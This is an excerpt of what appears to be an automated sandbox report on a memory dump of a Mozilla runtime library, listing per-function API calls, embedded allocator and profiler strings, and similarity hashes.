GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CB064DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CB064F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CB06505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CB06518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CB0652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0671C
GetCurrentProcess.KERNEL32 ref: 6CB06724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CB0672F
GetCurrentProcess.KERNEL32 ref: 6CB06759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CB06764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CB06A80
GetSystemInfo.KERNEL32(?), ref: 6CB06ABE
__Init_thread_footer.LIBCMT ref: 6CB06AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB06AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB06AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CB06798
user32.dll, xrefs: 6CB06526
nvdxgiwrap.dll, xrefs: 6CB06513
_etoured.dll, xrefs: 6CB064ED
nvd3d9wrap.dll, xrefs: 6CB06500
detoured.dll, xrefs: 6CB064DA

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3ab5d38d348a38d3258f3f21fc4a8b85ef711030b02435c35c75eecc23e0722f
Instruction ID: 0cab1bf963809fd09b7d0adf2df3b06d443b430428950b193fd7d8b56663497c
Opcode Fuzzy Hash: 3ab5d38d348a38d3258f3f21fc4a8b85ef711030b02435c35c75eecc23e0722f
Instruction Fuzzy Hash: BCF1E470A056A98FDB21DF24CC48B9ABBB4EF45318F144299DC19E7681E731AEC4CF91

Function 6CB5C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB5C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB5C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB5C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB5C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB5C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB5CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB5CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB5DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB5DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB5DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB5DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB5DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB5E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB5E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB5E472

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e2f44e829adb367e5b721bcdd8f17550c0e6b1e15f8ee224e0960c5af4642b00
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 1133CE71E0029ACFCB04CFA8C8806EDBBF2FF49300F688269D955AB755D735A955CB90

Function 6CB0FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB7E7B8), ref: 6CB0FF81
LeaveCriticalSection.KERNEL32(6CB7E7B8), ref: 6CB1022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CB10240
EnterCriticalSection.KERNEL32(6CB7E768), ref: 6CB1025B
LeaveCriticalSection.KERNEL32(6CB7E768), ref: 6CB1027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB0FE99, 6CB0FEB7, 6CB0FED3, 6CB10DB8, 6CB10DD3, 6CB119B4
: (malloc) Error in VirtualFree(), xrefs: 6CB10D67, 6CB10D7B, 6CB10DAC
<jemalloc>, xrefs: 6CB10D62, 6CB10D76, 6CB10DA7

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: d577b885296c26f82fae63d00f41b1faba343e4f441be2a01ecd7b3251043579
Instruction ID: 85f6cfd40b62a1fdea3d35d292a5740e05720d8b15bebd924322654f953e176b
Opcode Fuzzy Hash: d577b885296c26f82fae63d00f41b1faba343e4f441be2a01ecd7b3251043579
Instruction Fuzzy Hash: 75C2B171A097818FD714CF28C580716BBE1FF85328F28C66DE8A98BB95D771E851CB81

Function 6CB5E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB5E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB5EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB5EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB5EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB5F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB5F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB60E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB60E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB60EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB60ED4

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 964b008b4df12f0e049020c393a8bf18fcf465decf6c435ff4ab74a3a4561f77
Instruction ID: 5aa790a81881b7a9f0a834ae0bc8c6fecba8c89abe6682c8dbd804c5df662cf3
Opcode Fuzzy Hash: 964b008b4df12f0e049020c393a8bf18fcf465decf6c435ff4ab74a3a4561f77
Instruction Fuzzy Hash: D8638071E0029ACFCB04CFA9C8906DDFBB2FF89310F698269D855AB755D730A945CB90

Function 6CB33E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CB57770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB33E7D,?,?,?,6CB33E7D,?,?), ref: 6CB5777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CB33F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB33F5C
VerSetConditionMask.NTDLL ref: 6CB33F8D
VerSetConditionMask.NTDLL ref: 6CB33F99
VerSetConditionMask.NTDLL ref: 6CB33FA0
VerSetConditionMask.NTDLL ref: 6CB33FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB33FB4

Strings

nvinit.dll, xrefs: 6CB34479
nvd3d9wrap.dll, xrefs: 6CB34466

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: cbde4f3ba607e6ab0e614dc422ee8a2b854faf38e3e591830405be2b4d56fbd7
Instruction ID: 9181a037c8b1cc76993e8dddfa05e73fc87fd5195a58443f38d0cca318c6f401
Opcode Fuzzy Hash: cbde4f3ba607e6ab0e614dc422ee8a2b854faf38e3e591830405be2b4d56fbd7
Instruction Fuzzy Hash: A752D372610B888FD715DF35C980AAF7BE9EF45208F54096DE4968B742DB34F909CB60

Function 6CB1ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CB1EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB1EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB21695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB216B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CB21770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB21A3E

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 3af5a32f08f4a0eed00b2000f6229ce1a6510b81872cf03998fafe0b99b15233
Instruction ID: e55dd9e93e5661129390d7073ab0e2a5e489830c777e2619110f49f3ac240bf6
Opcode Fuzzy Hash: 3af5a32f08f4a0eed00b2000f6229ce1a6510b81872cf03998fafe0b99b15233
Instruction Fuzzy Hash: 33B34B71E04259CFCB14CFA8C890AADB7B2FF49304F1982A9D449AB745D735AD86CF90

Function 6CB0FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB7E7B8), ref: 6CB0FF81
LeaveCriticalSection.KERNEL32(6CB7E7B8), ref: 6CB1022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CB10240
EnterCriticalSection.KERNEL32(6CB7E768), ref: 6CB1025B
LeaveCriticalSection.KERNEL32(6CB7E768), ref: 6CB1027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB0FE99, 6CB0FEB7, 6CB0FED3, 6CB10DB8, 6CB10DD3, 6CB119B4, 6CB11A10
MOZ_CRASH(), xrefs: 6CB10CA7

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: bb7aa30e9975c05284ab73b0d855f42364d3324002d84d3d3a92772058c3245a
Instruction ID: 24c6338e681f52a3e479887b93b27dd59d9f3c68ca707c5ec7686ac582743abe
Opcode Fuzzy Hash: bb7aa30e9975c05284ab73b0d855f42364d3324002d84d3d3a92772058c3245a
Instruction Fuzzy Hash: C2B2BE716097818FD714CF29C590716BBE1FF95328F28C66CE86A8BB95D770E841CB82

Function 6CB45600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6CB45E79, 6CB45E8F
expected a Count entry, xrefs: 6CB45AC3
ProfileBuffer parse error: %s, xrefs: 6CB45AC8, 6CB45CBB
schema, xrefs: 6CB4606D
expected a Time entry, xrefs: 6CB45CB6
data, xrefs: 6CB46131

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 658b1992505dcd94834089526060ac17b4d591064436a3cbfbcd41ab3db5e812
Instruction ID: 9f67f3a27531a1aa3c635bb72fbad9a838cf9d12e915573fdf0cf4fec7764fd6
Opcode Fuzzy Hash: 658b1992505dcd94834089526060ac17b4d591064436a3cbfbcd41ab3db5e812
Instruction Fuzzy Hash: E3923A716087818FD724CF29C490B9EBBE1BFC9308F14891DE8999B755DB30E849DB92

Function 6CB37E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6CB37ECF, 6CB38335
(pre-xul), xrefs: 6CB37E88
schema, xrefs: 6CB381E3, 6CB38311
data, xrefs: 6CB38280, 6CB383E1

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 5e93ac349431a7ed2f9053af0b62836d581420b841e69e6f7de9622b93688109
Instruction ID: 7130000eab3bb6a879dd9f1a34078e305aea710215ccb73ea94ac4931c21f040
Opcode Fuzzy Hash: 5e93ac349431a7ed2f9053af0b62836d581420b841e69e6f7de9622b93688109
Instruction Fuzzy Hash: 8CE16F71B043948BC710CF69C85066BFBEAFB85314F14892DE899D7B90DBB0DD498B92

Function 6CB1D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB7E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB2D1C5), ref: 6CB1D4F2
LeaveCriticalSection.KERNEL32(6CB7E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB2D1C5), ref: 6CB1D50B

Part of subcall function 6CAFCFE0: EnterCriticalSection.KERNEL32(6CB7E784), ref: 6CAFCFF6
Part of subcall function 6CAFCFE0: LeaveCriticalSection.KERNEL32(6CB7E784), ref: 6CAFD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB2D1C5), ref: 6CB1D52E
EnterCriticalSection.KERNEL32(6CB7E7DC), ref: 6CB1D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB1D6A6
LeaveCriticalSection.KERNEL32(6CB7E7DC), ref: 6CB1D712
LeaveCriticalSection.KERNEL32(6CB7E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB2D1C5), ref: 6CB1D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB1D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CB1D82C
<jemalloc>, xrefs: 6CB1D827

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: b5f9b6ee1d29c7cdb810152b689eba3c56b421b0fa86dea175517d8937decdca
Instruction ID: e31d65ac71395f37407e9d090bc7f52f0a6f3585b6a958e2c56b72ee46886658
Opcode Fuzzy Hash: b5f9b6ee1d29c7cdb810152b689eba3c56b421b0fa86dea175517d8937decdca
Instruction Fuzzy Hash: 4F91C371A087918FD716CF38D09076AB7E1EF95318F144A2EE96A87F80D734E844CB92

Function 6CB15E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB15EDB
memset.VCRUNTIME140(6CB57765,000000E5,55CCCCCC), ref: 6CB15F27
LeaveCriticalSection.KERNEL32(?), ref: 6CB15FB2
memset.VCRUNTIME140(6CB57765,000000E5,B7C09015), ref: 6CB161F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CB17652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB17BCD, 6CB17C1F, 6CB17C34, 6CB180FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB172F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB1730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB172E3
MOZ_CRASH(), xrefs: 6CB17BA4

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: f3e42516c39a91b2bd3768027c1b7d1f3e0d7d2f8f055527a0b3c1c83deaa52a
Instruction ID: c810aec769cc624a9727e6da3a40c5ac60d56c3e5a977a5ef48852c44aa32713
Opcode Fuzzy Hash: f3e42516c39a91b2bd3768027c1b7d1f3e0d7d2f8f055527a0b3c1c83deaa52a
Instruction Fuzzy Hash: 9C338D716097818FC704CF29C590615BBE2FF85328F29C7ADE8698BBA5D771E841CB42

Function 6CB54EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB54EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB54F2E
moz_xmalloc.MOZGLUE ref: 6CB54F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB54F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB552B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB552E6
Sleep.KERNEL32(00000010), ref: 6CB55481
free.MOZGLUE(?), ref: 6CB55498

Strings

(, xrefs: 6CB55250

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: b8cc469c3241c0c097b06bcc75e5833b885c0a81c3b0658a340ce18929cdb4e8
Instruction ID: 81a1cffc1dc6986aeaeb96be3ce4620d4b344be1239781ac452b7e8c0dfb9f0b
Opcode Fuzzy Hash: b8cc469c3241c0c097b06bcc75e5833b885c0a81c3b0658a340ce18929cdb4e8
Instruction Fuzzy Hash: 02F1D171A18B508FC717CF39C85062BB7F9AFD6284F45872EF846A7650DB31D8468B81

Function 6CB19E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB19EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CB19F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB19F34
LeaveCriticalSection.KERNEL32(?), ref: 6CB1A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB1A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB1A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB1A8B1, 6CB1A8D4, 6CB1A8EF

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 67de317b419d9e615b8dbc24dfc6f4f2d8c4791dc1c38ac57b11ed98ec7cf76d
Instruction ID: 50ebcb27c3e0a84ba64ceeb73d3259997b8bf3ae258133143ed4c60c76f8847c
Opcode Fuzzy Hash: 67de317b419d9e615b8dbc24dfc6f4f2d8c4791dc1c38ac57b11ed98ec7cf76d
Instruction Fuzzy Hash: D2727972A097918FD304CF28C540615FBE1FF89728B29C66DE8699BB91D335E846CF81

Function 6CB42C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB42C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB42C61

Part of subcall function 6CAF4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAF4E5A
Part of subcall function 6CAF4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAF4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB42C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB42E2D

Part of subcall function 6CB081B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CB081DE

Strings

(root), xrefs: 6CB4354F
ProfileBuffer parse error: %s, xrefs: 6CB42E3B
expected a Time entry, xrefs: 6CB42E36

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 52e769cf28af036d1ec7d7836d7cf48392e2f97b054192c471aff567a998c049
